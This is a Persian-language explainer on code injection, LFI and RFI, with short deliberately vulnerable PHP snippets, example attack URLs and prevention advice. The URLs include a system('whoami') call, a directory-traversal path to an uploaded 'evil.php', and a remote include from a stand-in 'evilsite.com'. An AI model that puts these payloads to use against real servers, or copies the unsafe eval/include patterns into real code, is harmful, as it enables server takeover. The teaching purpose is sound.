
توضیحات
تزریق کد، یک اصطلاح عمومی است برای انواع حمله که شامل تزریق کد میشوند و هنگامی رخ میدهند که یک مهاجم نقص در اعتبارسنجی ورودیهای برنامه را اکسپلویت میکند و از آن برای اجرای کد مخرب سوءاستفاده میکند. کد به زبان برنامه هدف تزریق شده و توسط مفسر سمتسرور برای آن زبان اجرا میشود و میتواند زبانهایPHP،Python، Java،Perl، Ruby و یا سایر زبانهای برنامهنویسی سمتسرور را شامل شود.
هر برنامهکاربردی که مستقیماً ورودی اعتبارسنجی نشده را ارزیابی کند، در برابر تزریق کد آسیبپذیر است و کاراکترهای مجاز هر زبان، فرمت و نوع دادهها و همچنین میزان مورد انتظار داده از مواردی هستند که باعث ایجاد این آسیبپذیری میشوند. یافتن این نوع آسیبپذیری ممکن است در شرایط گوناگون، ساده و یا مشکل باشد ولی در صورت موفقیتآمیز بودن اکسپلویت آن محرمانگی، یکپارچگی و در دسترس بوده دادهها از بین میرود.
حملات تزریق کد با حملات تزریق دستورات متفاوت میباشند زیرا در تزریق کد، مهاجم به عملکرد زبان تزریقشده محدود است و اگر بتواند کد PHP را به یک برنامه تزریق و آن را اجرا کند، فقط به عملکرد PHP محدود میشود. در نتیجه قابلیتها و دسترسیهای مهاجم به محدودیتهای اعمالشده بر روی مفسر سمتسرور، برای مثال PHP، Python، بستگی دارد و در برخی شرایط مهاجم میتواند از تزریق کد به تزریق دستورات دست پیدا کند. برای درک بهتر این تفاوت، در ادامه سورس کد یک برنامه به زبان PHP آورده شده است که دارای آسیبپذیری تزریق کد میباشد:
/**
* Get the code from a GET input
* Example - http://example.com/?code=phpinfo();
*/
$code = $_GET['code'];
/**
* Unsafely evaluate the code
* Example - phpinfo();
*/
eval("\$code;");
در این مثال مهاجم میتواند کدهای PHP دلخواه خود را اجرا کند و در نتیجه صفحه اطلاعات PHP نمایش داده میشود.
در اینجا مهاجم میتواند از تزریق کد به تزریق دستورات از طریق اجرای دستورات دلخواه مربوط به سیستمعامل نیز دست پیدا کند. در این مثال مهاجم میتواند با استفاده از تابع system() در PHP دستور whoami را اجرا کند.
http://example.com/?code=system(‘whoami’);
چون مهاجم توانسته دستورات سیستمعامل را اجرا کند، ممکن است تلاش کند یک web shell و یا بدافزار دیگری را بر روی سرور نصب کند و یا ممکن است بتواند به سیستمهای داخلی نفوذ کرده و آنها را تسخیر نماید.
حملات LFI و RFI دو حمله از مجموعه حملات تزریق کد هستند و به مهاجم اجازه میدهند تا یک فایل را با استفاده از مکانیزمهای include پویای فایلها در برنامه هدف، اضافه و در واقع include کند. این آسیبپذیریها نیز به دلیل استفاده از ورودی ناامن کاربر رخ میدهند.
حمله LFI فرآیند include فایلهایی است که از قبل به صورت محلی روی سرور وجود دارند و بوسیله اکسپلویت ورودیهای سیستم آسیبپذیر که در برنامه اعمال شده است، در دسترس قرار میگیرند. به عنوان مثال یک صفحه وب، به عنوان ورودی مسیر پرونده ای که باید وارد شود را دریافت میکند و اگر این ورودی به درستی اعتبارسنجی نشده باشد، این آسیبپذیری رخ میدهد و اجازه میدهد تا کاراکترهای directory traversal مانند dot-dot-slash تزریق شوند. اکسپلویت موفقیتآمیز این آسیبپذیری میتواند منجر به افشای محتوای فایلها و افشای اطلاعات حساس شود اما بسته به شدت آسیبپذیری موجود، میتواند به حملاتی مانند اجرای کد بر روی سرور، اجرای کد سمتکاربر با استفاده از جاوااسکریپت و امثال آن و حتی حملات منع سرویس نیز منجر شوند.
به عنوان مثالی دیگر، سورس کد زیر که به زبان PHP نوشته شده است را در نظر بگیرید:
/**
* Get the filename from a GET input
* Example - http://example.com/?file=filename.php
*/
$file = $_GET['file'];
/**
* Unsafely include the file
* Example - filename.php
*/
include('directory/' . $file);
در مثال بالا مهاجم ممکن است درخواستی همانند درخواست زیر را ایجاد کند و برنامه را مجبور کند اسکریپتهای PHP و web shellهایی که مهاجم آپلود کرده است را اجرا کند:
http://example.com/?file=../../uploads/evil.php
حمله RFI فرآیند include فایلها از راه دور از طریق اکسپلویت ورودیهای اعتبارسنجی نشده به سیستم آسیبپذیر میباشد. به عنوان مثال یک صفحه وب، به عنوان ورودی مسیر پرونده ای که باید وارد شود را دریافت میکند و اگر این ورودی به درستی اعتبارسنجی نشده باشد، این آسیبپذیری رخ میدهد و اجازه میدهد تا آدرس URL خارجی تزریق شود. اگرچه بیشتر نمونهها به اسکریپتهای آسیبپذیر PHP اشاره میکنند، اما باید در نظر داشته باشیم که در تکنولوژیهای دیگر مانند JSP، ASP و سایر موارد نیز این آسیبپذیری رایج است.
در مثال بیان شده در بالا، اگر برنامه پارمتری را از طریق درخواست GET و بدون هیچ گونه اعتبارسنجی به تابع include() در PHP پاس دهد، مهاجم ممکن است تلاش کند کدی متفاوت از آنچه در ذهن برنامهنویس بوده را اجرا کند. در URL زیر نام یک صفحه به تابع include() ارسال میشود:
http://example.com/?page=contact.php
فایل evilcode.php ممکن است شامل تابع phpinfo() باشد تا اطلاعات بسیار مفیدی درباره تنظیمات وب سرور و وب سرویسهای در حال اجرا بدست آورد. مهاجم میتواند از برنامه بخواهد کدهای او را از طریق درخواست زیر اجرا کند:
http://example.com/?page=http://evilsite.com/evilcode.php
راه حل ها و پیشگیری
- مستقیماً دادههای ورودی کاربر را در سیستم فایلها و APIها قرار ندهید و در صورت امکان از از پارامتریسازی استفاده کنید.
- از لیستسفید در سمتسرور برای اعتبارسنجی ورودیها استفاده کنید.
- از ساختار escape متناسب کاراکترهای خاص زبان برنامه نویسی برنامه خود برای اعتبارسنجی ورودی کاربر استفاده کنید.
- از توابعی که دارای آسیبپذیری میباشند، استفاده نکنید.
- از توابعی مانند eval() و توابع معادل آن، برای پردازش دادههای خام و اعتبارسنجی نشده کاربر استفاده نکنید.
- در صورت امکان دسترسی به تنظیمات وب سرور، توابعی که به آنها در پردازشهای برنامه خود به آن نیازی ندارید را غیرفعال کنید.
- لیست سفیدی از فایلهای مجاز include کردن تعریف کنید و درخواستهای شامل نام فایلهای غیرمجاز را رد کنید.
- در صورت امکان از فایروالهای برنامههای تحت وب استفاده کنید و آنها را برای کنترل ترافیک خروجی نیز تنظیم کنید.
- در صورت رخداد خطا از یک صفحه پیغام عمومی استفاده کنید.
منابع
- https://owasp.org/www-community/attacks/Code_Injection
- https://www.netsparker.com/blog/web-security/code-injection
- https://owasp.org/www-pdf-archive/OTGv4.pdf
- https://www.acunetix.com/blog/articles/code-injection
- https://www.acunetix.com/blog/articles/local-file-inclusion-lfi